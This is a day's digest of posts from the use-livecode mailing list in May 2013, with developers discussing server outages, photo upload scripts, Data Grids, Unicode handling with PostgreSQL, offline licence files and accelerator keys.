revigniter.com Mon May 27 05:43:45 2013 From: rabit at revigniter.com (Ralf Bitter) Date: Mon, 27 May 2013 11:43:45 +0200 Subject: Odin down ? In-Reply-To: <1369646594796-4665477.post@n4.nabble.com> References: <1369646594796-4665477.post@n4.nabble.com> Message-ID: According to Pingdom the last outage was on May 18 with a downtime of about 14 hours. Ralf On 27.05.2013, at 11:23, Robert Mann wrote: > Again! monday 27th... trouble to get via Interachy > cannot identify my on-rev server on odin, no ip found. > It did work all right last week ! is it me or? > From dixonja at hotmail.co.uk Mon May 27 06:27:56 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Mon, 27 May 2013 11:27:56 +0100 Subject: Odin down ? In-Reply-To: References: , <1369646594796-4665477.post@n4.nabble.com>, Message-ID: Robert... I had problems with ODIN for a while, it was up and down like a Yo-yo... t it has been fine for me for about ten days now... no problems... > Subject: Re: Odin down ? > From: rabit at revigniter.com > Date: Mon, 27 May 2013 11:43:45 +0200 > To: use-livecode at lists.runrev.com > > > According to Pingdom the last outage was > on May 18 with a downtime of about 14 hours. > > > Ralf > > > On 27.05.2013, at 11:23, Robert Mann wrote: > > > Again! monday 27th... trouble to get via Interachy > > cannot identify my on-rev server on odin, no ip found. > > It did work all right last week ! is it me or? > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mark.rauterkus at gmail.com Mon May 27 06:37:55 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Mon, 27 May 2013 06:37:55 -0400 Subject: Seeking, OS, LiveCode, photo resize, (optional crop), rename and upload to FTP app Message-ID: Hi all, Is it Christmas yet? I am seeking within LiveCode solutions to handle photos. Camera to web server is what I am missing. Seeking, OS, LiveCode, photo resize, (optional crop), rename and (optional) upload to my FTP/ www site in an app. I have some, ... the download, ( and import), and convert to thumbnail elements for part of the process. Thanks, Mark Rauterkus -- -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com PPS Summer Dreamers' Swim and Water Polo Camp Head Coach Pittsburgh Combined Water Polo Team http://Rauterkus.blogspot.com http://FixPA.wikia.com http://CLOH.wikia.com 412 298 3432 = cell From gerry.orkin at gmail.com Mon May 27 07:20:08 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Mon, 27 May 2013 21:20:08 +1000 Subject: Seeking, OS, LiveCode, photo resize, (optional crop), rename and upload to FTP app In-Reply-To: References: Message-ID: <28F3B032-0EDE-4746-80AE-EE7C6F792919@gmail.com> Assuming you mean iOS, try this. The following script should let you take a photo and upload it to an ftp server (and it'll save the image to the iPhone's photo album too). This is untested :) on takePhoto thePhotoName if the environment is "mobile" then iPhonePickPhoto "rear camera", 600,800 if the result = "cancel" then exit takePhoto end if put image (the number of images) into url / ("ftp://username:password at yourdomain.com/public_html/project/photos/"& thePhotoName &".jpg") iphoneExportImageToAlbum image (the number of images) delete image (the number of images) end if end takePhoto Cheers Gerry On 27/05/2013, at 8:37 PM, Mark Rauterkus wrote: > Hi all, > > Is it Christmas yet? > > I am seeking within LiveCode solutions to handle photos. Camera to web > server is what I am missing. From m.schonewille at economy-x-talk.com Mon May 27 08:58:01 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 27 May 2013 14:58:01 +0200 Subject: [ANN] A quick update on my book Message-ID: <51A35859.8040305@economy-x-talk.com> Hi guys, It is now one month ago that I started the sale of my book "Programming Livecode for the Real Beginner". I was amazed by the high demand. While I expected to need several months to sell all copies, the book is almost sold out already. We have now 14 copies left and if you want one, you'll have to be quick. I have set up a simple portal at http://livecodebeginner.economy-x-talk.com/ with a few useful links. Not all sections are functional yet, but the most important sections are available. Now that people are receiving their books and start reading, they might have questions. That's why I have set up a Q&A system where everyone can ask and answer questions. This is the only place where I will try to answer as many questions about my book as possible. It will be very useful to collect all questions in one place, both for readers and for me. If I ever decide to write a new edition, I'll have all your feedback in one location. Evidently, we are getting many e-mails and we can't always answer everything. For questions such as "when do I get my book" and "does the price include postage", please refer to the website http://qery.us/3hd or read the FAQ at http://qery.us/3hc . Everyone who e-mailed to report to have received the book, many thanks for letting us know. It is very useful to know that books are arriving. There are still a few people who have never replied to my e-mails. Everyone who orders the book, gets at least two e-mails. One of the e-mails asks to confirm your address. If you still haven't confirmed your address and never got an e-mail about it, you must be wondering why you didn't hear from me. Probably, you have a greedy spam filter in place or you provided an incorrect e-mail address when paying for the book. To those people the urgent request to contact me! If you have any other questions, you can use the contact form on the website. -- -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From rman at free.fr Mon May 27 09:25:30 2013 From: rman at free.fr (Robert Mann) Date: Mon, 27 May 2013 06:25:30 -0700 (PDT) Subject: Odin down ? In-Reply-To: References: Message-ID: <1369661130287-4665484.post@n4.nabble.com> thanks, I actually killed my msg.. (or thought I did!!) since the odin doors opened up again. It seems that it's kind of an intermitent problem from I hear of you too. Thanks and sorry to the list for distrubance! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Odin-down-tp4664725p4665484.html Sent from the Revolution - User mailing list archive at Nabble.com. From dochawk at gmail.com Mon May 27 10:24:10 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 27 May 2013 07:24:10 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> Message-ID: On Sun, May 26, 2013 at 10:56 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > Let's go FIVE bit. How about Baudot? > That brings back the two word character problem, and then some . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From abilitybf at att.net Mon May 27 11:05:19 2013 From: abilitybf at att.net (Joe Hamburger) Date: Mon, 27 May 2013 08:05:19 -0700 (PDT) Subject: Data Grid Question In-Reply-To: <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> Message-ID: <1369667119.72566.YahooMailRC@web181401.mail.ne1.yahoo.com> Hi Again, I'm using v 6.0.1 on Mac OS 10.6.8. I haven't been able to use the inspector to force a datagrid column to retain the line numbers after sorting. Is there a way to address the difficulty in a script without using the inspector? I'm very appreciative of the help you've given me so far. I thought changing to the community version might fix my problem with the inspector, but it didn't. Aside from this single problem the dataGrid works like a charm. Thanks for your suggestion Peter. I checked and the dgProps("row template") property does exist. Another problem: Too often the inspector becomes the top stack and I could change it. Since I don't want to do that, what's causing it to happen so I can avoid screwing up the inspector stack? This was also a problem I had in version 5 that still happens in version 6. Is there a list of the changes between version 5 and 6 so I can take advantage of these new features and enhancements? Joe Orlando, Florida, USA From dsc at swcp.com Mon May 27 12:47:14 2013 From: dsc at swcp.com (Dar Scott) Date: Mon, 27 May 2013 10:47:14 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> Message-ID: <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> On May 27, 2013, at 8:24 AM, Dr. Hawkins wrote: > That brings back the two word character problem, and then some . . . It reminds me of packing file names in CPM. Back to you problem. Is that solved? I would be inclined to use the unicodeText property put take text out of a field and to set it. Then, use uniEncode and uniDecode to convert that to and from UTF8. That's assuming UTF8 is right for your db and other needs. However, there have "recently" been some enhancements that might make some other methods better. Others, would probably have a better notion than I on using those. However, it might be possible to set up both apps and the db to use some other character set, say, Mac OS Roman. Dar From pete at lcsql.com Mon May 27 13:10:20 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 27 May 2013 10:10:20 -0700 Subject: answer file Message-ID: According to the dictionary, if the user clicks Cancel in an answer file dialog, the result will contain cancel. In my test, it doesn't, it's empty. LC 5.5.4, OSX 10.7.4 ANyone else seeing this? Pete lcSQL Software From jacque at hyperactivesw.com Mon May 27 13:16:43 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 27 May 2013 12:16:43 -0500 Subject: answer file In-Reply-To: References: Message-ID: <51A394FB.6040804@hyperactivesw.com> On 5/27/13 12:10 PM, Peter Haworth wrote: > According to the dictionary, if the user clicks Cancel in an answer file > dialog, the result will contain cancel. In my test, it doesn't, it's > empty. LC 5.5.4, OSX 10.7.4 ANyone else seeing this? Works as described here. Are you grabbing the result immediately after the answer file call? The result changes all the time. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dsc at swcp.com Mon May 27 13:26:17 2013 From: dsc at swcp.com (Dar Scott) Date: Mon, 27 May 2013 11:26:17 -0600 Subject: answer file In-Reply-To: <51A394FB.6040804@hyperactivesw.com> References: <51A394FB.6040804@hyperactivesw.com> Message-ID: For a long time, I kept inserting lines before my 'the result' test and breaking things. So, I often use 'put the result into r' right after the command I need the result for and then test with r as needed. Paranoid overkill maybe. On May 27, 2013, at 11:16 AM, J. Landman Gay wrote: > On 5/27/13 12:10 PM, Peter Haworth wrote: >> According to the dictionary, if the user clicks Cancel in an answer file >> dialog, the result will contain cancel. In my test, it doesn't, it's >> empty. LC 5.5.4, OSX 10.7.4 ANyone else seeing this? > > Works as described here. Are you grabbing the result immediately after the answer file call? The result changes all the time. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Mon May 27 13:37:45 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 27 May 2013 10:37:45 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> Message-ID: On Mon, May 27, 2013 at 9:47 AM, Dar Scott wrote: > > On May 27, 2013, at 8:24 AM, Dr. Hawkins wrote: > > That brings back the two word character problem, and then some . . . > > It reminds me of packing file names in CPM. 7 Characters to the 36 bit word on a PDP-10. > Back to you problem. Is that solved? Merely hacked for the moment--but in an untenable way. > I would be inclined to use the unicodeText property put take text out of a field and to set it. >Then, use uniEncode and uniDecode to convert that to and from UTF8. That's assuming >UTF8 is right for your db and other needs. Can that figure out where something "came from"? Or am I still stuck with "not an idiot at the keyboard?" My prospective issue is cutting & pasting from anything that showed up on the user screen. I think I'm safe to assume that anything typed in from the present machine can be used. I have to deal with, though, someone typing on windows and then pulling it out on a Mac or iPad (or linux, or android . . .), and vice versa. Can I simply set livecode to be UTF8 in its fields? Or do I need to double encode/decode on every save of text? I'd like to stay with just UTF8, if possible, since I can't stay at 7 bit ascii and write "Pe?a" . . . but I need to have it appear the same on all systems. Turning UTF8 to pdf will probably give me better results than an operating-system set, too. > However, there have "recently" been some enhancements that might make some other >methods better. Others, would probably have a better notion than I on using those. > However, it might be possible to set up both apps and the db to use some other character >set, say, Mac OS Roman. That's going to bite me on Windows, though, I think . . Thanks -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Mon May 27 13:45:56 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 27 May 2013 10:45:56 -0700 Subject: answer file In-Reply-To: <51A394FB.6040804@hyperactivesw.com> References: <51A394FB.6040804@hyperactivesw.com> Message-ID: Ha, that was it! That does remind me though - just how long the result sticks for, obviously not long. In this case, there was one statement "set the itemdelimiter to "/"" before I checked the result and that seems to have destroyed the contents of the result. I guess the safest thing to do is grab right after any command that populates it. Pete lcSQL Software On Mon, May 27, 2013 at 10:16 AM, J. Landman Gay wrote: > On 5/27/13 12:10 PM, Peter Haworth wrote: > >> According to the dictionary, if the user clicks Cancel in an answer file >> dialog, the result will contain cancel. In my test, it doesn't, it's >> empty. LC 5.5.4, OSX 10.7.4 ANyone else seeing this? >> > > Works as described here. Are you grabbing the result immediately after the > answer file call? The result changes all the time. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Mon May 27 14:06:31 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 27 May 2013 11:06:31 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> Message-ID: I think you said that this all works fine in SQLite. If so, that suggests this is not a Livecode issue. Searching round the web, it's clear that PostgreSQL does support UTF-8 and many other encodings. What is the error you get from postgesql? Pete lcSQL Software On Mon, May 27, 2013 at 10:37 AM, Dr. Hawkins wrote: > On Mon, May 27, 2013 at 9:47 AM, Dar Scott wrote: > > > > On May 27, 2013, at 8:24 AM, Dr. Hawkins wrote: > > > That brings back the two word character problem, and then some . . . > > > > It reminds me of packing file names in CPM. > > > 7 Characters to the 36 bit word on a PDP-10. > > > Back to you problem. Is that solved? > > Merely hacked for the moment--but in an untenable way. > > > I would be inclined to use the unicodeText property put take text out of > a field and to set it. > >Then, use uniEncode and uniDecode to convert that to and from UTF8. > That's assuming > >UTF8 is right for your db and other needs. > > Can that figure out where something "came from"? Or am I still stuck > with "not an idiot at the keyboard?" > > My prospective issue is cutting & pasting from anything that showed up > on the user screen. > > I think I'm safe to assume that anything typed in from the present > machine can be used. > > I have to deal with, though, someone typing on windows and then > pulling it out on a Mac or iPad (or linux, or android . . .), and vice > versa. > > Can I simply set livecode to be UTF8 in its fields? Or do I need to > double encode/decode on every save of text? > > I'd like to stay with just UTF8, if possible, since I can't stay at 7 > bit ascii and write "Pe?a" . . . but I need to have it appear the same > on all systems. > > Turning UTF8 to pdf will probably give me better results than an > operating-system set, too. > > > However, there have "recently" been some enhancements that might make > some other > >methods better. Others, would probably have a better notion than I on > using those. > > > However, it might be possible to set up both apps and the db to use some > other character > >set, say, Mac OS Roman. > > That's going to bite me on Windows, though, I think . . > > Thanks > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Mon May 27 14:10:56 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 27 May 2013 13:10:56 -0500 Subject: answer file In-Reply-To: References: <51A394FB.6040804@hyperactivesw.com> Message-ID: <51A3A1B0.6020206@hyperactivesw.com> On 5/27/13 12:45 PM, Peter Haworth wrote: > Ha, that was it! That does remind me though - just how long the result > sticks for, obviously not long. In this case, there was one statement "set > the itemdelimiter to "/"" before I checked the result and that seems to > have destroyed the contents of the result. I guess the safest thing to do > is grab right after any command that populates it. Right. There's no set amount of time or number of calls that change the result, it just changes whenever another command or function sets it. That can be in the next line or twenty lines down the script, though since a lot of things reset the result, it's usually sooner than later. In general, it happens when it's the most inconvenient. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Mon May 27 14:31:51 2013 From: pete at lcsql.com (Peter Haworth) Date: Mon, 27 May 2013 11:31:51 -0700 Subject: answer file In-Reply-To: <51A3A1B0.6020206@hyperactivesw.com> References: <51A394FB.6040804@hyperactivesw.com> <51A3A1B0.6020206@hyperactivesw.com> Message-ID: On Mon, May 27, 2013 at 11:10 AM, J. Landman Gay wrote: > In general, it happens when it's the most inconvenient. Isn't that always the way :-) Pete lcSQL Software From richmondmathewson at gmail.com Mon May 27 15:14:40 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 27 May 2013 22:14:40 +0300 Subject: How to get an off-line licence for LC OSS In-Reply-To: <519FB3A6.9000700@gmail.com> References: <519FB3A6.9000700@gmail.com> Message-ID: <51A3B0A0.9060404@gmail.com> On 05/24/2013 09:38 PM, Richmond wrote: > Install LC OSS (whatever version) on your Operating System of choice, > and register it online > with your code. > > Close LiveCode and look here: > Windows XP: C:/Documents > and Settings/*username*/Application Data/RunRev/Licenses Sorry, happy campers, I (and, second hand, the team at Runrev) seem to be wrong here. Just installed LC 6.0.2 on Windows XP; had to do the "online thing" as could not find the folder referred to: a search subsequently could NOT find the file. So, I cannot tell you how to set up LC 6 with a licence file (rather than online reg.) on Windows XP. In America, I believe the word to use here is 'bummer'. > > Windows Vista- C:/Documents and Settings/Administrator/Application > Data/RunRev/Licenses > > Windows 7 - C:\Documents and Settings\*username*\AppData\Roaming\RunRev\Licenses > > Windows 8 - C:/Users/*username*/AppData/Roaming/RunRev > > Mac- Library/Application Support/Runrev/Licenses > > Linux- ~/.runrev/licenses > > > and you should see the licence file (or several). > > Copy the thing and use it on any machines that are not internet connected. > > Richmond. > From ambassador at fourthworld.com Mon May 27 16:01:16 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Mon, 27 May 2013 13:01:16 -0700 Subject: How to get an off-line licence for LC OSS In-Reply-To: <51A3B0A0.9060404@gmail.com> References: <51A3B0A0.9060404@gmail.com> Message-ID: <51A3BB8C.9020704@fourthworld.com> Why does the free version require a license file? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From richmondmathewson at gmail.com Mon May 27 16:38:24 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 27 May 2013 23:38:24 +0300 Subject: How to get an off-line licence for LC OSS In-Reply-To: <51A3BB8C.9020704@fourthworld.com> References: <51A3B0A0.9060404@gmail.com> <51A3BB8C.9020704@fourthworld.com> Message-ID: <51A3C440.9080600@gmail.com> On 05/27/2013 11:01 PM, Richard Gaskin wrote: > Why does the free version require a license file? The Free version needs a licence file if you don't have an internet connexion, or you don't want RunRev to know that you have installed LC OSS across 500 machines :) Of course there has been quite a lot of tooth-sucking around and about as whether the Free version having a phone-home reg. is quite kosher vis-a-vis Open Source normal practice. Richmond. > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/FourthWorldSys > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Mon May 27 17:45:06 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Mon, 27 May 2013 14:45:06 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> Message-ID: On Mon, May 27, 2013 at 11:06 AM, Peter Haworth wrote: > I think you said that this all works fine in SQLite. If so, that suggests > this is not a Livecode issue. Searching round the web, it's clear that > PostgreSQL does support UTF-8 and many other encodings. What is the error > you get from postgesql? It's not a livecode problem, but finding a common ground for livecode & postgres. SQLite allows insertion of a turnip into an integer field, or anything else; there is absolutely no type checking. I've cleaned all my offending examples out . . . . And now I've tried to replicate with psql, and I can't. The error was that on a curly-quote that originated at http://www.leg.state.nv.us/NRS/NRS-021.html#NRS021Sec090 (in "miner's") threw the error. I also got it from double-curly quotes that came from somewhere. If I can limit livecode fields to UTF8, I think it solves my problems. A particular one that *will* come up is mac using attorneys with windows running in a virtual machine doing cross-os pastes. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From brahma at hindu.org Mon May 27 18:43:44 2013 From: brahma at hindu.org (Brahmanathswami) Date: Mon, 27 May 2013 12:43:44 -1000 Subject: Best Practice (as of 2013) for Accelerator Keys Message-ID: <51A3E1A0.3090808@hindu.org> I have an old app (build circa 2002) that still runs amazingly well. I have done a few small updates over time, but the basics remain the same. It is a transcription program that requires quicktime and functions like the old pedal deals where you stop and start the tape. I added other bells and whistles, like downloading .mp3 file from our server, save XML transcripts to the server via Post to a CGI and some user authentication... and a spell checker dynamically downloaded dictionaries etc. But the basics are simple: use picks an audio file (with a button) a path is set on a player... click "Play"... must wait a few seconds (5-10) for quicktime to register the time codes so that i can get a currentTime and then we use this in stop, back, forward, resume buttons. Now: loooooong ago I set up these keys: -->Accelerators for buttons <-- command setUpAcceleratorKeys set the acceleratorKey of button "Stop" to "1" set the acceleratorModifiers of button "Stop" to alt set the acceleratorKey of button "Back up" to "2" set the acceleratorModifiers of button "Back up" to alt set the acceleratorKey of button "Forward" to "3" set the acceleratorModifiers of button "Forward" to alt set the acceleratorKey of button "Resume" to "4" set the acceleratorModifiers of button "Resume" to alt end setUpAcceleratorKeys But now I'm getting reports from a Windows 8 user that a) the alt key does not in fact work on his machine for this, but the control key does...and apparently this is what you use on Windows Media Player b) occasionally he will get a failure of "control-1" which will not stop the player as expected. instead he has to hit "control-4" to resume and *then* control-1 will work Button "Stop" on mouseUp set the playrate of player "TheTape" to 0 put fld "theMovieTime" into fld "saveTime" disable button "back up" disable button "Forward" end mouseUp Button Resume on mouseUp enable button "Back Up" enable button "Forward" if the hilite of btn "resumeBack" then send mouseup to btn "Back Up" exit mouseUp end if if the currentTime of player "theTape" = 0 then send mouseUp to button "Pick up from last session" else set the playrate of player "theTape" to fld "speed" --starts player "theTape" end if end mouseUp Those were my very naive days... today I would put these commands into commands in the card or stack script and call them from the buttons. Also I have a menu with Stop | Back | Forward | Resume| and these also just ""ping" the buttons to do their work. but I was never able to successfully append the right key codes to the end of the menu items such that they would work on both Mac and Windows. So, what I'm looking for is today's best practices for accelerator keys that run cross platform, as my current method are, literally, 11 years old in this app. -- Aum Shanti, Brahmanathaswami Kauai's Hindu Monastery www.HimalayanAcademy.com From rjb at robelko.com Mon May 27 19:37:28 2013 From: rjb at robelko.com (Robert Brenstein) Date: Tue, 28 May 2013 01:37:28 +0200 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> Message-ID: On 27.05.2013 at 14:45 Uhr -0700 Dr. Hawkins apparently wrote: > >The error was that on a curly-quote that originated at >http://www.leg.state.nv.us/NRS/NRS-021.html#NRS021Sec090 (in >"miner's") threw the error. I also got it from double-curly quotes >that came from somewhere. > >If I can limit livecode fields to UTF8, I think it solves my problems. Are the tables and fields in your postgres database set to unicode encoding, and UTF8 not UTF16, since this is what you are feeding there? Robert From michael_livecode at nayyan.com Mon May 27 20:52:02 2013 From: michael_livecode at nayyan.com (Michael Mays) Date: Tue, 28 May 2013 08:52:02 +0800 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> Message-ID: <0FA08C29-AD42-4539-B4E8-64FC2029B88C@nayyan.com> Unicode is a character set. UTF-8 is an encoding. Is Unicode an encoding in LiveCard? Michael On May 27, 2013, at 6:17 AM, Dar Scott wrote: > I'm guessing that openoffice can do full UTF8, or at least the BMP (the main group of characters). > > Maybe the easiest thing is to allow full Unicode in your fields. Then convert that to UTF8 and back for the db. I think folks can help with that. > > Embrace Unicode. > > An alternative is to tell the db what character set you are using and the same with openoffice. > > Dar > > > On May 26, 2013, at 4:02 PM, Dr. Hawkins wrote: > >> On Sun, May 26, 2013 at 3:01 PM, Dr. Hawkins wrote: >> >>> Hmm, to narrow this: I just need something that livecode & postgres can >>> agree upon. With the proviso that people are likely to be pasting into my >>> livecode fields >>> >> >> Hmm, and it also needs to be something that openoffice can interpret when >> it pulls from a db. >> >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvlahos at mac.com Mon May 27 21:49:47 2013 From: bvlahos at mac.com (Bill Vlahos) Date: Mon, 27 May 2013 18:49:47 -0700 Subject: Best screencast demo ever! Message-ID: This doesn't have anything to do with LiveCode or me but it is so clever I just had to share it. https://www.lucidchart.com/pages/examples/flowchart_software Bill Vlahos _________________ InfoWallet (http://www.infowallet.com) is about keeping your important life information with you, accessible, and secure. lcTaskList: (http://www.infowallet.com/lctasklist/index.htm) RunRev lcTaskList Forum: (http://forums.runrev.com/viewforum.php?f=61) From dunbarx at aol.com Mon May 27 22:00:59 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Mon, 27 May 2013 22:00:59 -0400 (EDT) Subject: message too big (was Re: Counting problem) In-Reply-To: <51A132ED.2080605@hyperactivesw.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> <51A132ED.2080605@hyperactivesw.com> Message-ID: <8D0295E551DEA69-E80-24FBB@webmail-vm008.sysops.aol.com> Jacque. So right. I just have never updated this thing, written years ago when my first message got waylaid. I will. Craig -----Original Message----- From: J. Landman Gay To: How to use LiveCode Sent: Sat, May 25, 2013 5:55 pm Subject: Re: message too big (was Re: Counting problem) On 5/25/13 2:31 PM, dunbarx at aol.com wrote: > I have a utility that I keep open doing just what Dar said. I push > F12, and a script runs that takes each char tChar in the > clipboardData and replaces it with numToChar(charToNum(tChar)). > It might be quicker to just get the clipboardData["text"]. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Mon May 27 23:08:20 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 27 May 2013 22:08:20 -0500 Subject: message too big (was Re: Counting problem) In-Reply-To: <8D0295E551DEA69-E80-24FBB@webmail-vm008.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> <51A132ED.2080605@hyperactivesw.com> <8D0295E551DEA69-E80-24FBB@webmail-vm008.sysops.aol.com> Message-ID: <51A41FA4.7080008@hyperactivesw.com> On 5/27/13 9:00 PM, dunbarx at aol.com wrote: > I just have never updated this thing, written years ago when my first > message got waylaid. You should see some of my old stuff. Wait. No you shouldn't. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From simon at asato-media.com Tue May 28 02:54:58 2013 From: simon at asato-media.com (As_Simon) Date: Mon, 27 May 2013 23:54:58 -0700 (PDT) Subject: Best screencast demo ever! In-Reply-To: References: Message-ID: <1369724097972-4665506.post@n4.nabble.com> Bill Vlahos wrote > ... but it is so clever... > > https://www.lucidchart.com/pages/examples/flowchart_software Agree! Simon -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Best-screencast-demo-ever-tp4665503p4665506.html Sent from the Revolution - User mailing list archive at Nabble.com. From rene.micout at numericable.com Tue May 28 03:23:22 2013 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Tue, 28 May 2013 09:23:22 +0200 Subject: Best screencast demo ever! In-Reply-To: References: Message-ID: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> YES !!! Le 28 mai 2013 ? 03:49, Bill Vlahos a ?crit : > This doesn't have anything to do with LiveCode or me but it is so clever I just had to share it. > > https://www.lucidchart.com/pages/examples/flowchart_software From ambassador at fourthworld.com Tue May 28 09:31:36 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 28 May 2013 06:31:36 -0700 Subject: Best screencast demo ever! In-Reply-To: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> References: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> Message-ID: 